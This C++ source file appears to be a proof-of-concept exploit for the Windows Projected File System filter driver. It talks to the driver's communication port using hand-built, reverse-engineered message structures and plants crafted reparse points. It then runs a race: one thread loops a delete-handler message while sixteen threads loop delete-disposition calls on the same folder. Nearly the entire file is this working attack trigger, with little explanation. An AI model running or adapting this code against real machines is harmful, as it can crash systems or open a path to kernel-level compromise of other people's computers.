#include #include #include #include #pragma comment(lib, "projectedfslib.lib") #pragma comment(lib, "FltLib.lib") #include "ntdll.h" #pragma comment(lib, "ntdll") PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; HANDLE ghPort = 0; struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT { GUID virtualizationInstanceID; unsigned int Version; USHORT VolumeLength; WCHAR szVolume[256]; }; void PrintInstanceId() { PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); if (FAILED(hr)) { wprintf(L"Failed to create instance ID (0x%08x)\n", hr); return; } OLECHAR* guidString; StringFromCLSID(InstanceInfo.InstanceID, &guidString); wprintf(L"InstanceId: %s\n", guidString); LPCOLESTR lpsz = guidString; GUID InstanceId; hr = CLSIDFromString(lpsz, &InstanceId); if (FAILED(hr)) { wprintf(L"Failed to create instance ID (0x%08x)\n", hr); return; } CoTaskMemFree(guidString); } void CreateVirtualizationRoot() { const wchar_t* PrjRootName = LR"(c:\PrjTest)"; CreateDirectoryW(PrjRootName, nullptr); HRESULT hr; const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; DeleteFileW(rootName); RemoveDirectoryW(rootName); if (!CreateDirectoryW(rootName, nullptr)) { DWORD gle = GetLastError(); if (gle != ERROR_ALREADY_EXISTS) { hr = HRESULT_FROM_WIN32(gle); wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); } return; } GUID instanceId; hr = CoCreateGuid(&instanceId); if (FAILED(hr)) { wprintf(L"Failed to create instance ID (0x%08x)\n", hr); return; } hr = PrjMarkDirectoryAsPlaceholder(rootName, nullptr, nullptr, &instanceId); if (FAILED(hr)) { wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); return; } } HRESULT PrjStartEnumCallback( const PRJ_CALLBACK_DATA* callbackData, const GUID* enumerationId ) { printf("MyStartEnumCallback\n"); return S_OK; } HRESULT PrjEndEnumCallback( const PRJ_CALLBACK_DATA* callbackData, const GUID* enumerationId ) { printf("MyEndEnumCallback\n"); return S_OK; } HRESULT PrjGetEnumCallback( const PRJ_CALLBACK_DATA* callbackData, const GUID* enumerationId, PCWSTR searchExpression, PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle ) { //printf("PrjGetEnumCallback\n"); return S_OK; } HRESULT PrjGetPlaceholderInfoCallback( const PRJ_CALLBACK_DATA* callbackData ) { printf("PrjGetPlaceholderInfoCallback\n"); return S_OK; } HRESULT PrjGetFileDataCallback( const PRJ_CALLBACK_DATA* callbackData, UINT64 byteOffset, UINT32 length ) { printf("PrjGetFileDataCallback\n"); return S_OK; } HRESULT PrjQueryFileNameCallback( const PRJ_CALLBACK_DATA* callbackData ) { printf("PrjQueryFileNameCallback\n"); return S_OK; } HRESULT PrjNotificationCallback( _In_ const PRJ_CALLBACK_DATA* callbackData, _In_ BOOLEAN isDirectory, _In_ PRJ_NOTIFICATION notification, _In_opt_ PCWSTR destinationFileName, _Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters ) { printf("PrjNotificationCallback\n"); return S_OK; } VOID PrjCancelCommandCallback( _In_ const PRJ_CALLBACK_DATA* callbackData ) { return; } void StartVirtualizatioInstance() { PRJ_CALLBACKS callbackTable; // Supply required callbacks. callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback; callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback; callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback; callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback; callbackTable.GetFileDataCallback = PrjGetFileDataCallback; // The rest of the callbacks are optional. callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback; callbackTable.NotificationCallback = PrjNotificationCallback; callbackTable.CancelCommandCallback = PrjCancelCommandCallback; HRESULT hr; const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; PRJ_NOTIFICATION_MAPPING NotificationMappings; NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL; NotificationMappings.NotificationRoot = L""; PRJ_STARTVIRTUALIZING_OPTIONS options; memset(&options, 0, sizeof(options)); options.NotificationMappingsCount = 1; options.NotificationMappings = &NotificationMappings; PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; hr = PrjStartVirtualizing(rootName, &callbackTable, nullptr, &options, &instanceHandle); if (FAILED(hr)) { wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); return; } gInstanceHandle = instanceHandle; } struct _PRJ_REPARSE_DATA { int Version; int dwFlags; GUID virtualizationInstanceID; PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; unsigned __int16 PlaceHolderRelPathLength; WCHAR szPlaceHolderRelPathBuffer[1]; }; struct _PRJ_REPARSE_DATA_BUFFER { ULONG ReparseTag; USHORT ReparseDataLength; USHORT Reserved; _PRJ_REPARSE_DATA ReparseData; }; HRESULT CreateFileWithReparsePoint( PHANDLE pFileHandle, LPCWSTR lpcwFileName, _PRJ_REPARSE_DATA* ReparseData, USHORT ReparseDataLength, int Tag, bool bDir) { const WCHAR* ErrorMessage; // rdi USHORT BufferLength; // bx ULONG hr; // ebx MAPDST _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST int LastError; // eax ULONG Size; // eax size_t Length; // rax *pFileHandle = NULL; ErrorMessage = 0i64; BufferLength = ReparseDataLength + 8; if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u || ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A) { hr = 0x80070057; // E_INVALIDARG goto LABEL_12; } ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8)); if (!ReparseDataBuffer) { hr = 0x8007000E; // E_OUTOFMEMORY LABEL_12: Size = 2; return hr; } ReparseDataBuffer->ReparseTag = Tag; ReparseDataBuffer->ReparseDataLength = ReparseDataLength; memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength); //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); UNICODE_STRING usFileName = { 0 }; RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; ObjectAttributes.Length = 0x30; ObjectAttributes.ObjectName = &usFileName; ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; if (bDir) { CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; } IO_STATUS_BLOCK IoStatusBlock = { 0 }; HANDLE FileHandle = NULL; int Status = NtCreateFile( &FileHandle, FILE_WRITE_ATTRIBUTES | SYNCHRONIZE | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0i64, FileAttributes, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, CreateOptions, NULL, 0); if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT { hr = 0; } else { LastError = GetLastError(); hr = LastError; if (LastError > 0) hr = (unsigned __int16)LastError | 0x80070000; ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; } free(ReparseDataBuffer); if (hr) goto LABEL_12; *pFileHandle = FileHandle; return hr; } _PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { USHORT RelPathLength = MAX_PATH; USHORT Length = RelPathLength + 0x11A; _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); ReparseData->Version = 2; ReparseData->PlaceHolderRelPathLength = RelPathLength; ReparseData->dwFlags = dwFlags; if (RelPathLength) { memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); } *pLength = Length; return ReparseData; } void PortInit() { static HANDLE hPort = NULL; static GUID InstanceId; PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); InstanceId = InstanceInfo.InstanceID; //PrjStopVirtualizing(gInstanceHandle); _PRJ_CONNECTION_CONTEXT Context; Context.VolumeLength = 0x100; Context.Version = 1; Context.virtualizationInstanceID = InstanceId; wcscpy_s(Context.szVolume, L"c:\\"); ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); ghPort = hPort; } struct _PRJ_MSG_IN_HEADER { int MessageType; int InputBufferSize; }; struct _PRJ_VIR_INSTANCE_INFO { GUID virtualizationInstanceID; int Tag; }; struct _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA { _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; char _1c[60]; UUID FileId; }; struct _PRJ_MSG_CLOSE_FILE_HANDLER { _PRJ_MSG_IN_HEADER Header; _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA Data; }; struct _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA { int MessageType; int Size; int Status; }; GUID GetInstanceId() { GUID InstanceId = { 0 }; PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); if (FAILED(hr)) { wprintf(L"Failed to create instance ID (0x%08x)\n", hr); return InstanceId; } InstanceId = InstanceInfo.InstanceID; return InstanceId; } void PrjCloseFileHandler(HANDLE hPort, UUID FileId) { DWORD InputBufferLength = 0x1000; PVOID InputBuffer = malloc(InputBufferLength); DWORD OutputBufferLength = 0x1000; PVOID OutputBuffer = malloc(OutputBufferLength); memset(InputBuffer, 0, InputBufferLength); memset(OutputBuffer, 0, OutputBufferLength); DWORD BytesReturned = 0; _PRJ_MSG_CLOSE_FILE_HANDLER Message = { 0 }; memset(&Message, 0, sizeof(Message)); Message.Header.MessageType = 0xa; Message.Header.InputBufferSize = sizeof(Message); Message.Data.VirInstanceInfo.Tag = 0x9000001C; Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId(); Message.Data.FileId = FileId; memcpy(InputBuffer, &Message, sizeof(Message)); InputBufferLength = Message.Header.InputBufferSize; HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); printf("FilterSendMessage hResult:%x\n", hResult); _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA*)OutputBuffer; return; } HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath) { unsigned __int64 Length; // rbx const WCHAR* szLongPath; // rax Length = 0xFFFFFFFFFFFFFFFFui64; do ++Length; while (szFilePath[Length]); *pszLongPath2 = 0i64; if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64)) { *pszLongPath = szFilePath; } else { szLongPath = (WCHAR*)calloc(Length + 5, 2ui64); *pszLongPath2 = szLongPath; if (!szLongPath) return 0x8007000E; // E_OUTOFMEMORY if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64) || (unsigned int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length)) { return 0x80004005; // E_FAIL } *pszLongPath = *pszLongPath2; } return 0; } HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer) { _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15 PCWSTR ErrorMessage; // rdi HRESULT hr; // ebx unsigned __int64 Length; // rcx MAPDST ULONG Size; // ecx MAPDST HANDLE FileHandle; // rax MAPDST signed int LastError; // eax unsigned int* EventDescriptor; // rdx LPCWSTR hr64; // [rsp+40h] [rbp-49h] LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF Length = 0xFFFFFFFFFFFFFFFFui64; hr64 = 0i64; pszLongPath2 = 0i64; ErrorMessage = 0i64; FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64; if (!pReparseDataBuffer) { hr = 0x80070057; // E_INVALIDARG goto LABEL_3; } ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64); if (!ReparseDataBuffer) { ErrorMessage = L"Couldn't allocate memory for Reparse Data"; hr = 0x8007000E; // E_OUTOFMEMORY LABEL_3: Size = 2; return hr; } hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath); if (hr < 0) { ErrorMessage = L"PrjpConstructLongPath failed"; goto LABEL_21; } hr = 0; FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64); if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) { ErrorMessage = L"Failed to open file"; goto LABEL_14; } if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT { ErrorMessage = L"Failed to get reparse point"; LABEL_14: LastError = GetLastError(); hr = LastError; if (LastError > 0) hr = (unsigned __int16)LastError | 0x80070000; LABEL_21: free(ReparseDataBuffer); if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) goto LABEL_25; goto LABEL_24; } if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022) { ErrorMessage = L"Another Reparse Tag Encountered"; hr = 0x8007112A; goto LABEL_21; } *pReparseDataBuffer = ReparseDataBuffer; LABEL_24: CloseHandle(FileHandle); LABEL_25: if (pszLongPath2) free((void*)pszLongPath2); if (hr >= 0) return hr; if (hr != 0x80071126) goto LABEL_3; return hr; } typedef struct _FILE_DISPOSITION_INFORMATION { BOOLEAN DeleteFile; } FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; LONG DeleteDirectory(LPCWSTR szDir) { SHFILEOPSTRUCTW fos = { 0 }; // delete the folder and everything inside fos.wFunc = FO_DELETE; fos.pFrom = szDir; fos.fFlags = FOF_NO_UI; return SHFileOperation(&fos); } struct _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA { ULONG DataSize; int _4; _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; char _1c[60]; PRJ_UPDATE_TYPES InfoType; ULONG RelPathOffset; USHORT RelPathLength; WCHAR RelBuffer[MAX_PATH + 1]; }; struct _PRJ_MSG_OPEN_FILE_HANDLER { _PRJ_MSG_IN_HEADER Header; _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA Data; }; struct _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA { int MessageType; int Size; int Status; UUID FileId; }; UUID PrjDeleteFileHandler(HANDLE hPort) { DWORD InputBufferLength = 0x1000; PVOID InputBuffer = malloc(InputBufferLength); DWORD OutputBufferLength = 0x1000; PVOID OutputBuffer = malloc(OutputBufferLength); memset(InputBuffer, 0, InputBufferLength); memset(OutputBuffer, 0, OutputBufferLength); DWORD BytesReturned = 0; _PRJ_MSG_OPEN_FILE_HANDLER Message = { 0 }; memset(&Message, 0, sizeof(Message)); Message.Header.MessageType = 0x12; Message.Header.InputBufferSize = sizeof(Message); Message.Data.DataSize = sizeof(_PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA); Message.Data.VirInstanceInfo.Tag = 0x9000001C; Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId(); Message.Data.InfoType = PRJ_UPDATE_ALLOW_DIRTY_DATA | PRJ_UPDATE_ALLOW_DIRTY_METADATA | PRJ_UPDATE_ALLOW_TOMBSTONE; Message.Data.RelPathOffset = 0x62; Message.Data.RelPathLength = MAX_PATH; wcscpy_s(Message.Data.RelBuffer, L"aa\\bb"); //wcscpy_s(Message.Data.RelBuffer, L"New folder (2)"); memcpy(InputBuffer, &Message, sizeof(Message)); InputBufferLength = Message.Header.InputBufferSize; HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); //printf("FilterSendMessage hResult:%x\n", hResult); _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA*)OutputBuffer; //OLECHAR* guidString; //StringFromCLSID(pOutData->FileId, &guidString); //wprintf(L"FileId: %s\n", guidString); return pOutData->FileId; } HANDLE OpenFolder(LPCWSTR lpcwFileName) { UNICODE_STRING usFileName = { 0 }; RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; ObjectAttributes.Length = 0x30; ObjectAttributes.ObjectName = &usFileName; ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; ULONG CreateOptions = 0x4021u; IO_STATUS_BLOCK IoStatusBlock = { 0 }; HANDLE FileHandle = NULL; int Status = NtOpenFile(&FileHandle, 0x110080u, &ObjectAttributes, &IoStatusBlock, 7u, 0x204001u); return FileHandle; } DWORD WINAPI Worker1(LPVOID lpParameter) { USHORT Length = 0; HANDLE FileHandle = NULL; _PRJ_REPARSE_DATA* ReparseData = NULL; ReparseData = CreateReparseData(L"dd", 0x10, &Length); while (1) { //CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false); PrjDeleteFileHandler(ghPort); Sleep(1); //CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false); //CreateFileW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc1", FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); //CreateFileW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc12", FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); //CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc12", ReparseData, Length, 0x9000001C, false); //MoveFileExW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc12", L"c:\\PrjTest\\virtroot\\aa\\bb\\cc1", MOVEFILE_REPLACE_EXISTING); } return 0; } DWORD WINAPI Worker2(LPVOID lpParameter) { HANDLE hFolder = OpenFolder(L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb"); IO_STATUS_BLOCK IoStatusBlock = { 0 }; FILE_DISPOSITION_INFORMATION FileDispositionInfo = { 0 }; FileDispositionInfo.DeleteFile = 1; while (1) { NtSetInformationFile(hFolder, &IoStatusBlock, &FileDispositionInfo, 1u, FileDispositionInformation); } return 0; } void Trigger() { BOOL bResult = FALSE; HRESULT hr = 0; USHORT Length = 0; HANDLE FileHandle = NULL; _PRJ_REPARSE_DATA* ReparseData = NULL; _PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL; //DeleteDirectory(L"c:\\PrjTest\\virtRoot\\aa\\bb"); CreateDirectoryW(L"c:\\PrjTest\\virtRoot\\aa", NULL); //CreateDirectoryW(L"c:\\PrjTest\\virtRoot\\aa\\bb2", NULL); ReparseData = CreateReparseData(L"dd", 0x10, &Length); hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb", ReparseData, Length, 0x9000001C, true); CloseHandle(FileHandle); GUID instanceId; hr = CoCreateGuid(&instanceId); hr = PrjMarkDirectoryAsPlaceholder(L"c:\\PrjTest\\virtroot", L"c:\\PrjTest\\virtroot\\aa\\bb", nullptr, &instanceId); if (FAILED(hr)) { wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); } DeleteFileW(L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1"); hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false); CloseHandle(FileHandle); //hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc2", ReparseData, Length, 0xA0000022, false); CloseHandle(FileHandle); hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc4", ReparseData, Length, 0x9000001C, true); CloseHandle(FileHandle); CreateThread(NULL, 0, Worker1, NULL, 0, NULL); Sleep(3000); for (int i = 0; i < 16; ++i) { CreateThread(NULL, 0, Worker2, NULL, 0, NULL); } Sleep(-1); } void Main() { CreateVirtualizationRoot(); StartVirtualizatioInstance(); PrintInstanceId(); PortInit(); Trigger(); } int wmain(int argc, WCHAR* argv[]) { Main(); //getchar(); return 0; } int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR szCmdLine, int iCmdShow) { return wmain(__argc, __wargv); }